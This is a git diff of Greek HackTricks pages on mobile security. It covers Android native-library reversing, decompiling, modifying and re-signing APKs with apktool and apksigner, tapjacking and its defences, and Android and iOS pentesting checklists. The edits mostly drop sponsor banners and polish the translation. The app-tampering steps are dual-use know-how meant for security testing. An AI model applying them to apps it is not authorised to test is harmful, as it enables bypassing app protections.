5. **Εναλλακτική Προσέγγιση - Ήπια Επανεκκίνηση**: Μια εναλλακτική μέθοδος περιλαμβάνει την εκτέλεση της δεσμευμένης τοποθέτησης στη διαδικασία `init` (PID 1) ακολουθούμενη από μια ήπια επανεκκίνηση του λειτουργικού συστήματος με τις εντολές `stop && start`. Αυτή η προσέγγιση θα διαδώσει τις αλλαγές σε όλα τα namespaces, αποφεύγοντας την ανάγκη να απευθυνθεί κανείς ξεχωριστά σε κάθε εκτελούμενη εφαρμογή. Ωστόσο, αυτή η μέθοδος γενικά προτιμάται λιγότερο λόγω της ταλαιπωρίας της επανεκκίνησης.
## Αναφορές
- [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
**Για περισσότερες πληροφορίες ελέγξτε:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
**Για περισσότερες πληροφορίες δείτε:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
Οι εφαρμογές Android μπορούν να χρησιμοποιούν εγγενείς βιβλιοθήκες, συνήθως γραμμένες σε C ή C++, για εργασίες που απαιτούν υψηλή απόδοση. Οι δημιουργοί κακόβουλου λογισμικού χρησιμοποιούν επίσης αυτές τις βιβλιοθήκες, καθώς είναι πιο δύσκολο να αναλυθούν σε αντίθεση με τον κωδικό DEX. Η ενότητα τονίζει τις δεξιότητες αντίστροφης μηχανικής προσαρμοσμένες για το Android, αντί να διδάσκει γλώσσες συναρμολόγησης. Παρέχονται εκδόσεις ARM και x86 των βιβλιοθηκών για συμβατότητα.
@ -17,7 +11,7 @@
- **Εγγενείς Βιβλιοθήκες σε Εφαρμογές Android:**
- Χρησιμοποιούνται για εργασίες που απαιτούν υψηλή απόδοση.
- Γραμμένες σε C ή C++, καθιστώντας την αντίστροφη μηχανική δύσκολη.
- Βρίσκονται σε μορφή `.so` (shared object), παρόμοια με τα εκτελέσιμα Linux.
- Βρίσκονται σε μορφή `.so` (shared object), παρόμοια με τα δυαδικά αρχεία Linux.
- Οι δημιουργοί κακόβουλου λογισμικού προτιμούν τον εγγενή κώδικα για να κάνουν την ανάλυση πιο δύσκολη.
- **Java Native Interface (JNI) & Android NDK:**
- Το JNI επιτρέπει την υλοποίηση μεθόδων Java σε εγγενή κώδικα.
@ -39,7 +33,7 @@
- **Μάθηση ARM Assembly:**
- Προτείνεται για μια πιο βαθιά κατανόηση της υποκείμενης αρχιτεκτονικής.
- [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) από την Azeria Labs συνιστάται.
- [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) από το Azeria Labs συνιστάται.
- **Τεκμηρίωση JNI & NDK:**
- [Oracle's JNI Specification](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
- [Android's JNI Tips](https://developer.android.com/training/articles/perf-jni)
@ -47,10 +41,4 @@
- **Αποσφαλμάτωση Εγγενών Βιβλιοθηκών:**
- [Debug Android Native Libraries Using JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Ασφάλεια Κινητών** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Κατακτήστε την ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
Μερικές φορές είναι ενδιαφέρον να τροποποιήσετε τον κώδικα της εφαρμογής για να αποκτήσετε πρόσβαση σε κρυφές πληροφορίες (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Τότε, θα μπορούσε να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να τον συμπιέσετε ξανά.
**Αναφορά Opcodes:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html)
@ -26,9 +20,9 @@ apktool d APP.apk
```
Αν το **apktool** σας δώσει οποιοδήποτε σφάλμα, προσπαθήστε να [εγκαταστήσετε την **τελευταία έκδοση**](https://ibotpeaches.github.io/Apktool/install/)
Ορισμένα **ενδιαφέροντα αρχεία που πρέπει να εξετάσετε είναι**:
Ορισμένα **ενδιαφέροντα αρχεία που θα πρέπει να εξετάσετε είναι**:
- _res/values/strings.xml_ (και όλα τα xml μέσα σε res/values/\*)
- _res/values/strings.xml_ (και όλα τα xml μέσα στο res/values/\*)
- _AndroidManifest.xml_
- Οποιοδήποτε αρχείο με κατάληξη _.sqlite_ ή _.db_
@ -50,7 +44,7 @@ apktool d APP.apk
```bash
apktool b . #In the folder generated when you decompiled the application
```
Θα **συγκεντρώσει** το νέο APK **μέσα** στον _**φάκελο dist**_.
Θα **συγκεντρώσει** το νέο APK **μέσα** στον φάκελο _**dist**_.
Αν το **apktool** ρίξει ένα **σφάλμα**, δοκιμάστε[ να εγκαταστήσετε την **τελευταία έκδοση**](https://ibotpeaches.github.io/Apktool/install/)
@ -73,7 +67,7 @@ zipalign -v 4 infile.apk
```
### **Υπογράψτε το νέο APK (ξανά;)**
Αν **προτιμάτε** να χρησιμοποιήσετε [**apksigner**](https://developer.android.com/studio/command-line/) αντί για jarsigner, **πρέπει να υπογράψετε το apk** μετά την εφαρμογή **της βελτιστοποίησης με** zipalign. ΑΛΛΑ ΠΡΟΣΟΧΗ ΟΤΙ ΠΡΕΠΕΙ ΝΑ **ΥΠΟΓΡΑΨΕΤΕ ΤΗΝ ΕΦΑΡΜΟΓΗ ΜΟΝΟ ΜΙΑ ΦΟΡΑ** ΜΕ jarsigner (πριν το zipalign) Ή ΜΕ aspsigner (μετά το zipalign).
Αν **προτιμάτε** να χρησιμοποιήσετε [**apksigner**](https://developer.android.com/studio/command-line/) αντί για jarsigner, **πρέπει να υπογράψετε το apk** μετά την εφαρμογή **της βελτιστοποίησης με** zipalign. ΑΛΛΑ ΠΡΟΣΟΧΗ ΟΤΙ ΠΡΕΠΕΙ ΝΑ **ΥΠΟΓΡΑΨΕΤΕ ΤΗΝ ΕΦΑΡΜΟΓΗ ΜΙΑ ΦΟΡΑ ΜΟΝΟ** ΜΕ jarsigner (πριν το zipalign) Ή ΜΕ aspsigner (μετά το zipalign).
```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk
```
@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
move-result-object v12
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
```
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Εξασκηθείτε στην ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,18 +2,14 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Βασικές Πληροφορίες**
**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ περνά την αλληλεπίδραση στην εφαρμογή θύμα.\
Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι εκτελεί πραγματικά ενέργειες στην εφαρμογή θύμα**.
Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι εκτελεί ενέργειες στην εφαρμογή θύμα**.
### Ανίχνευση
Για να ανιχνεύσετε εφαρμογές ευάλωτες σε αυτή την επίθεση, θα πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο android manifest (σημειώστε ότι μια δραστηριότητα με intent-filter εξάγεται αυτόματα από προεπιλογή). Μόλις βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν οποιαδήποτε άδεια**. Αυτό συμβαίνει επειδή η **κακόβουλη εφαρμογή θα χρειαστεί και αυτή την άδεια**.
Για να ανιχνεύσετε εφαρμογές ευάλωτες σε αυτή την επίθεση, θα πρέπει να αναζητήσετε **εξαγόμενες δραστηριότητες** στο android manifest (σημειώστε ότι μια δραστηριότητα με intent-filter εξάγεται αυτόματα από προεπιλογή). Μόλις βρείτε τις εξαγόμενες δραστηριότητες, **ελέγξτε αν απαιτούν οποιαδήποτε άδεια**. Αυτό συμβαίνει επειδή η **κακόβουλη εφαρμογή θα χρειαστεί επίσης αυτή την άδεια**.
### Προστασία
@ -23,12 +19,12 @@
#### `filterTouchesWhenObscured`
Αν **`android:filterTouchesWhenObscured`** είναι ρυθμισμένο σε **`true`**, η `View` δεν θα λαμβάνει αγγίγματα όποτε το παράθυρο της προβολής καλύπτεται από άλλο ορατό παράθυρο.
Αν **`android:filterTouchesWhenObscured`** είναι ρυθμισμένο σε **`true`**, το `View` δεν θα λαμβάνει επαφές όποτε το παράθυρο της προβολής καλύπτεται από άλλο ορατό παράθυρο.
#### **`setFilterTouchesWhenObscured`**
Η ιδιότητα **`setFilterTouchesWhenObscured`** ρυθμισμένη σε true μπορεί επίσης να αποτρέψει την εκμετάλλευση αυτής της ευπάθειας αν η έκδοση Android είναι χαμηλότερη.\
Αν ρυθμιστεί σε **`true`**, για παράδειγμα, ένα κουμπί μπορεί να **απενεργοποιηθεί αυτόματα αν είναι καλυμμένο**:
Η ιδιότητα **`setFilterTouchesWhenObscured`** ρυθμισμένη σε true μπορεί επίσης να αποτρέψει την εκμετάλλευση αυτής της ευπάθειας αν η έκδοση του Android είναι χαμηλότερη.\
Αν ρυθμιστεί σε **`true`**, για παράδειγμα, ένα κουμπί μπορεί να απενεργοποιηθεί αυτόματα **αν καλύπτεται**:
```xml
<Button android:text="Button"
android:id="@+id/button1"
@ -62,8 +58,5 @@ android:filterTouchesWhenObscured="true">
>
> Για να ενεργοποιήσετε το φιλτράρισμα αφής, καλέστε [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ή ορίστε την ιδιότητα διάταξης android:filterTouchesWhenObscured σε true. Όταν είναι ενεργοποιημένο, το πλαίσιο θα απορρίπτει τις αφές που λαμβάνονται όποτε το παράθυρο της προβολής καλύπτεται από άλλο ορατό παράθυρο. Ως αποτέλεσμα, η προβολή δεν θα λαμβάνει αφές όποτε εμφανίζεται ένα toast, διάλογος ή άλλο παράθυρο πάνω από το παράθυρο της προβολής.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,11 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Εξασκηθείτε στην ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
### [Μάθετε τα βασικά του Android](android-app-pentesting/#2-android-application-fundamentals)
@ -26,8 +21,8 @@
### [Στατική Ανάλυση](android-app-pentesting/#static-analysis)
- [ ] Ελέγξτε τη χρήση [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), ελέγχους για το αν το κινητό ήταν ριζωμένο, αν χρησιμοποιείται εξομοιωτής και ελέγχους κατά της παραχάραξης. [Διαβάστε αυτό για περισσότερες πληροφορίες](android-app-pentesting/#other-checks).
- [ ] Ευαίσθητες εφαρμογές (όπως τραπεζικές εφαρμογές) θα πρέπει να ελέγχουν αν το κινητό είναι ριζωμένο και να ενεργούν αναλόγως.
- [ ] Ελέγξτε τη χρήση [obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information), ελέγχους για το αν το κινητό ήταν root, αν χρησιμοποιείται εξομοιωτής και ελέγχους κατά της παραχάραξης. [Διαβάστε αυτό για περισσότερες πληροφορίες](android-app-pentesting/#other-checks).
- [ ] Ευαίσθητες εφαρμογές (όπως τραπεζικές εφαρμογές) θα πρέπει να ελέγχουν αν το κινητό είναι root και να ενεργούν αναλόγως.
- [ ] Αναζητήστε [ενδιαφέροντα strings](android-app-pentesting/#looking-for-interesting-info) (κωδικούς πρόσβασης, URLs, API, κρυπτογράφηση, backdoors, tokens, Bluetooth uuids...).
- [ ] Ιδιαίτερη προσοχή στα [firebase ](android-app-pentesting/#firebase)APIs.
- [ ] [Διαβάστε το manifest:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
@ -39,22 +34,22 @@
- [ ] Δέκτες εκπομπών
- [ ] Σχέδια URL
- [ ] Αποθηκεύει η εφαρμογή δεδομένα [με ανασφαλή τρόπο εσωτερικά ή εξωτερικά](android-app-pentesting/#insecure-data-storage);
- [ ] Υπάρχει κάποιος [κωδικός πρόσβασης σκληρά κωδικοποιημένος ή αποθηκευμένος στο δίσκο](android-app-pentesting/#poorkeymanagementprocesses); Χρησιμοποιεί η εφαρμογή [ανασφαλείς αλγόριθμους κρυπτογράφησης](android-app-pentesting/#useofinsecureandordeprecatedalgorithms);
- [ ] Υπάρχει κάποιος [κωδικός πρόσβασης σκληρά κωδικοποιημένος ή αποθηκευμένος σε δίσκο](android-app-pentesting/#poorkeymanagementprocesses); Χρησιμοποιεί η εφαρμογή [ανασφαλείς αλγόριθμους κρυπτογράφησης](android-app-pentesting/#useofinsecureandordeprecatedalgorithms);
- [ ] Όλες οι βιβλιοθήκες έχουν μεταγλωττιστεί χρησιμοποιώντας τη σημαία PIE;
- [ ] Μην ξεχνάτε ότι υπάρχει μια σειρά από [στατικούς αναλυτές Android](android-app-pentesting/#automatic-analysis) που μπορούν να σας βοηθήσουν πολύ σε αυτή τη φάση.
### [Δυναμική Ανάλυση](android-app-pentesting/#dynamic-analysis)
- [ ] Προετοιμάστε το περιβάλλον ([online](android-app-pentesting/#online-dynamic-analysis), [τοπική VM ή φυσική](android-app-pentesting/#local-dynamic-analysis))
- [ ] Ετοιμάστε το περιβάλλον ([online](android-app-pentesting/#online-dynamic-analysis), [τοπική VM ή φυσική](android-app-pentesting/#local-dynamic-analysis))
- [ ] Υπάρχει κάποια [μη προγραμματισμένη διαρροή δεδομένων](android-app-pentesting/#unintended-data-leakage) (καταγραφή, αντιγραφή/επικόλληση, καταγραφές σφαλμάτων);
- [ ] [Εμπιστευτικές πληροφορίες που αποθηκεύονται σε SQLite dbs](android-app-pentesting/#sqlite-dbs);
- [ ] [Εμπιστευτικές πληροφορίες που αποθηκεύονται σε βάσεις δεδομένων SQLite](android-app-pentesting/#sqlite-dbs);
- [ ] [Εκμεταλλεύσιμες εκτεθειμένες Δραστηριότητες](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass);
- [ ] [Εκμεταλλεύσιμοι Πάροχοι περιεχομένου](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information);
- [ ] [Εκμεταλλεύσιμες εκτεθειμένες Υπηρεσίες](android-app-pentesting/#exploiting-services);
- [ ] [Εκμεταλλεύσιμοι Δέκτες εκπομπών](android-app-pentesting/#exploiting-broadcast-receivers);
- [ ] Μεταδίδει η εφαρμογή πληροφορίες [σε καθαρό κείμενο/χρησιμοποιώντας αδύναμους αλγόριθμους](android-app-pentesting/#insufficient-transport-layer-protection); είναι δυνατός ένας MitM;
- [ ] Μεταδίδει η εφαρμογή πληροφορίες [σε καθαρό κείμενο/χρησιμοποιώντας αδύναμους αλγόριθμους](android-app-pentesting/#insufficient-transport-layer-protection); είναι δυνατός ο MitM;
- [ ] [Επιθεωρήστε την κίνηση HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
- [ ] Αυτό είναι πραγματικά σημαντικό, γιατί αν μπορείτε να συλλάβετε την κίνηση HTTP μπορείτε να αναζητήσετε κοινές ευπάθειες Web (το Hacktricks έχει πολλές πληροφορίες για τις ευπάθειες Web).
- [ ] Αυτό είναι πραγματικά σημαντικό, γιατί αν μπορείτε να συλλάβετε την κίνηση HTTP μπορείτε να αναζητήσετε κοινές ευπάθειες Web (το Hacktricks έχει πολλές πληροφορίες σχετικά με τις ευπάθειες Web).
- [ ] Ελέγξτε για πιθανές [Android Client Side Injections](android-app-pentesting/#android-client-side-injections-and-others) (πιθανώς κάποια στατική ανάλυση κώδικα θα βοηθήσει εδώ)
- [ ] [Frida](android-app-pentesting/#frida): Μόνο Frida, χρησιμοποιήστε το για να αποκτήσετε ενδιαφέροντα δυναμικά δεδομένα από την εφαρμογή (ίσως κάποιους κωδικούς πρόσβασης...)
@ -62,10 +57,5 @@
- [ ] [Διαβάστε εδώ](android-app-pentesting/#obfuscating-deobfuscating-code)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Εμβαθύνετε την εμπειρία σας στην **Κινητή Ασφάλεια** με την 8kSec Academy. Εξασκηθείτε στην ασφάλεια iOS και Android μέσω των αυτορυθμιζόμενων μαθημάτων μας και αποκτήστε πιστοποίηση:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,20 +1,12 @@
# iOS Pentesting Checklist
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε και να ** αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../banners/hacktricks-training.md}}
### Preparation
- [ ] Διαβάστε [**iOS Basics**](ios-pentesting/ios-basics.md)
- [ ] Προετοιμάστε το περιβάλλον σας διαβάζοντας [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)
- [ ] Διαβάστε όλες τις ενότητες του [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) για να μάθετε κοινές ενέργειες για pentest μια εφαρμογή iOS
- [ ] Read [**iOS Basics**](ios-pentesting/ios-basics.md)
- [ ] Prepare your environment reading [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)
- [ ] Read all the sections of [**iOS Initial Analysis**](ios-pentesting/#initial-analysis) to learn common actions to pentest an iOS application
### Data Storage
@ -27,13 +19,13 @@
- [ ] [**Binary cookies**](ios-pentesting/#cookies) μπορεί να αποθηκεύσει ευαίσθητες πληροφορίες
- [ ] [**Cache data**](ios-pentesting/#cache) μπορεί να αποθηκεύσει ευαίσθητες πληροφορίες
- [ ] [**Automatic snapshots**](ios-pentesting/#snapshots) μπορεί να αποθηκεύσει οπτικές ευαίσθητες πληροφορίες
- [ ] [**Keychain**](ios-pentesting/#keychain) χρησιμοποιείται συνήθως για την αποθήκευση ευαίσθητων πληροφοριών που μπορεί να παραμείνουν κατά την επαναπώληση του τηλεφώνου.
- [ ] [**Keychain**](ios-pentesting/#keychain) χρησιμοποιείται συνήθως για την αποθήκευση ευαίσθητων πληροφοριών που μπορεί να παραμείνουν όταν ξαναπουληθεί το τηλέφωνο.
- [ ] Συνοπτικά, απλώς **ελέγξτε για ευαίσθητες πληροφορίες που αποθηκεύονται από την εφαρμογή στο σύστημα αρχείων**
### Keyboards
- [ ] Επιτρέπει η εφαρμογή [**να χρησιμοποιεί προσαρμοσμένα πληκτρολόγια**](ios-pentesting/#custom-keyboards-keyboard-cache);
- [ ] Ελέγξτε αν οι ευαίσθητες πληροφορίες αποθηκεύονται στα [**αρχεία cache πληκτρολογίων**](ios-pentesting/#custom-keyboards-keyboard-cache)
- [ ] Ελέγξτε αν ευαίσθητες πληροφορίες αποθηκεύονται στα [**αρχεία cache πληκτρολογίων**](ios-pentesting/#custom-keyboards-keyboard-cache)
### **Logs**
@ -56,31 +48,31 @@
### **Local Authentication**
- [ ] Εάν χρησιμοποιείται [**τοπική αυθεντικοποίηση**](ios-pentesting/#local-authentication) στην εφαρμογή, θα πρέπει να ελέγξετε πώς λειτουργεί η αυθεντικοποίηση.
- [ ] Εάν χρησιμοποιεί το [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework) μπορεί να παρακαμφθεί εύκολα
- [ ] Εάν χρησιμοποιεί μια [**λειτουργία που μπορεί να παρακαμφθεί δυναμικά**](ios-pentesting/#local-authentication-using-keychain) μπορείτε να δημιουργήσετε ένα προσαρμοσμένο σενάριο frida
- [ ] Αν χρησιμοποιείται [**τοπική αυθεντικοποίηση**](ios-pentesting/#local-authentication) στην εφαρμογή, θα πρέπει να ελέγξετε πώς λειτουργεί η αυθεντικοποίηση.
- [ ] Αν χρησιμοποιεί το [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework) μπορεί να παρακαμφθεί εύκολα
- [ ] Αν χρησιμοποιεί μια [**λειτουργία που μπορεί να παρακαμφθεί δυναμικά**](ios-pentesting/#local-authentication-using-keychain) μπορείτε να δημιουργήσετε ένα προσαρμοσμένο σενάριο frida
### Sensitive Functionality Exposure Through IPC
- [**Custom URI Handlers / Deeplinks / Custom Schemes**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
- [ ] Ελέγξτε αν η εφαρμογή **καταχωρεί οποιοδήποτε πρωτόκολλο/σχέδιο**
- [ ] Ελέγξτε αν η εφαρμογή **καταχωρεί για να χρησιμοποιήσει** οποιοδήποτε πρωτόκολλο/σχέδιο
- [ ] Ελέγξτε αν η εφαρμογή **αναμένει να λάβει οποιοδήποτε είδος ευαίσθητης πληροφορίας** από το προσαρμοσμένο σχέδιο που μπορεί να **παρεμποδιστεί** από άλλη εφαρμογή που καταχωρεί το ίδιο σχέδιο
- [ ] Ελέγξτε αν η εφαρμογή **δεν ελέγχει και δεν καθαρίζει** την είσοδο των χρηστών μέσω του προσαρμοσμένου σχεδίου και μπορεί να **εκμεταλλευτεί κάποια ευπάθεια**
- [ ] Ελέγξτε αν η εφαρμογή **αναμένει να λάβει οποιοδήποτε είδος ευαίσθητης πληροφορίας** από το προσαρμοσμένο σχέδιο που μπορεί να **παρεμβληθεί** από άλλη εφαρμογή που καταχωρεί το ίδιο σχέδιο
- [ ] Ελέγξτε αν η εφαρμογή **δεν ελέγχει και δεν καθαρίζει** την είσοδο των χρηστών μέσω του προσαρμοσμένου σχεδίου και κάποια **ευπάθεια μπορεί να εκμεταλλευτεί**
- [ ] Ελέγξτε αν η εφαρμογή **εκθέτει οποιαδήποτε ευαίσθητη ενέργεια** που μπορεί να κληθεί από οπουδήποτε μέσω του προσαρμοσμένου σχεδίου
- [**Universal Links**](ios-pentesting/#universal-links)
- [ ] Ελέγξτε αν η εφαρμογή **καταχωρεί οποιοδήποτε καθολικό πρωτόκολλο/σχέδιο**
- [ ] Ελέγξτε το αρχείο `apple-app-site-association`
- [ ] Ελέγξτε αν η εφαρμογή **δεν ελέγχει και δεν καθαρίζει** την είσοδο των χρηστών μέσω του προσαρμοσμένου σχεδίου και μπορεί να **εκμεταλλευτεί κάποια ευπάθεια**
- [ ] Ελέγξτε αν η εφαρμογή **δεν ελέγχει και δεν καθαρίζει** την είσοδο των χρηστών μέσω του προσαρμοσμένου σχεδίου και κάποια **ευπάθεια μπορεί να εκμεταλλευτεί**
- [ ] Ελέγξτε αν η εφαρμογή **εκθέτει οποιαδήποτε ευαίσθητη ενέργεια** που μπορεί να κληθεί από οπουδήποτε μέσω του προσαρμοσμένου σχεδίου
- [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
- [ ] Ελέγξτε αν η εφαρμογή μπορεί να λάβει UIActivities και αν είναι δυνατόν να εκμεταλλευτεί οποιαδήποτε ευπάθεια με ειδικά κατασκευασμένη δραστηριότητα
- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
- [ ] Ελέγξτε αν η εφαρμογή **αντιγράφει οτιδήποτε στο γενικό clipboard**
- [ ] Ελέγξτε αν η εφαρμογή **χρησιμοποιεί τα δεδομένα από το γενικό clipboard για οτιδήποτε**
- [ ] Παρακολουθήστε το clipboard για να δείτε αν **ευαίσθητα δεδομένα αντιγράφονται**
- [ ] Παρακολουθήστε το clipboard για να δείτε αν οποιαδήποτε **ευαίσθητα δεδομένα αντιγράφονται**
- [**App Extensions**](ios-pentesting/ios-app-extensions.md)
- [ ] Χρησιμοποιεί η εφαρμογή **κάποια επέκταση**;
- [ ] Χρησιμοποιεί η εφαρμογή **οποιαδήποτε επέκταση**;
- [**WebViews**](ios-pentesting/ios-webviews.md)
- [ ] Ελέγξτε ποιοι τύποι webviews χρησιμοποιούνται
- [ ] Ελέγξτε την κατάσταση του **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
@ -95,15 +87,7 @@
### **Misc**
- [ ] Ελέγξτε για [**μηχανισμούς αυτόματης επιδιόρθωσης/αναβάθμισης**](ios-pentesting/#hot-patching-enforced-updateing)
- [ ] Ελέγξτε για [**αυτόματες διαδικασίες επιδιόρθωσης/αναβάθμισης**](ios-pentesting/#hot-patching-enforced-updateing)
- [ ] Ελέγξτε για [**κακόβουλες βιβλιοθήκες τρίτων**](ios-pentesting/#third-parties)
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) για να δημιουργήσετε και να ** αυτοματοποιήσετε ροές εργασίας** με τη βοήθεια των **πιο προηγμένων** εργαλείων της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View File

@ -1,22 +1,14 @@
# iOS Pentesting
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}}
## iOS Basics
## iOS Βασικά
{{#ref}}
ios-basics.md
{{#endref}}
## Testing Environment
## Περιβάλλον Δοκιμών
Σε αυτή τη σελίδα μπορείτε να βρείτε πληροφορίες σχετικά με τον **iOS simulator**, **emulators** και **jailbreaking:**
@ -24,11 +16,11 @@ ios-basics.md
ios-testing-environment.md
{{#endref}}
## Initial Analysis
## Αρχική Ανάλυση
### Basic iOS Testing Operations
### Βασικές Λειτουργίες Δοκιμών iOS
Κατά τη διάρκεια της δοκιμής **θα προταθούν αρκετές ενέργειες** (σύνδεση στη συσκευή, ανάγνωση/γραφή/ανέβασμα/κατέβασμα αρχείων, χρήση ορισμένων εργαλείων...). Επομένως, αν δεν ξέρετε πώς να εκτελέσετε καμία από αυτές τις ενέργειες, παρακαλώ, **ξεκινήστε να διαβάζετε τη σελίδα**:
Κατά τη διάρκεια της δοκιμής **θα προταθούν αρκετές λειτουργίες** (σύνδεση στη συσκευή, ανάγνωση/γραφή/ανέβασμα/κατέβασμα αρχείων, χρήση κάποιων εργαλείων...). Επομένως, αν δεν ξέρετε πώς να εκτελέσετε καμία από αυτές τις ενέργειες, παρακαλώ, **ξεκινήστε να διαβάζετε τη σελίδα**:
{{#ref}}
basic-ios-testing-operations.md
@ -38,11 +30,16 @@ basic-ios-testing-operations.md
> Για τα επόμενα βήματα **η εφαρμογή θα πρέπει να είναι εγκατεστημένη** στη συσκευή και θα πρέπει να έχει ήδη αποκτήσει το **IPA αρχείο** της εφαρμογής.\
> Διαβάστε τη σελίδα [Basic iOS Testing Operations](basic-ios-testing-operations.md) για να μάθετε πώς να το κάνετε αυτό.
### Basic Static Analysis
